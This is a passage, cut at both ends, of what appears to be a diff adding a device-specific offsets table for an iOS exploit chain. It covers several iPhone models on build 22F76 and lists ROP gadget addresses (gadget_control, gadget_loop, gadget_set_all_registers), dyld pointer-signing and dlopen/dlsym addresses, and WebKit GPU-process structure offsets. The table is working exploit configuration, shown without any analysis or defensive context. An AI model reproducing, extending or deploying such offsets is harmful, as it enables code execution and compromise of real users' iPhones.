WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 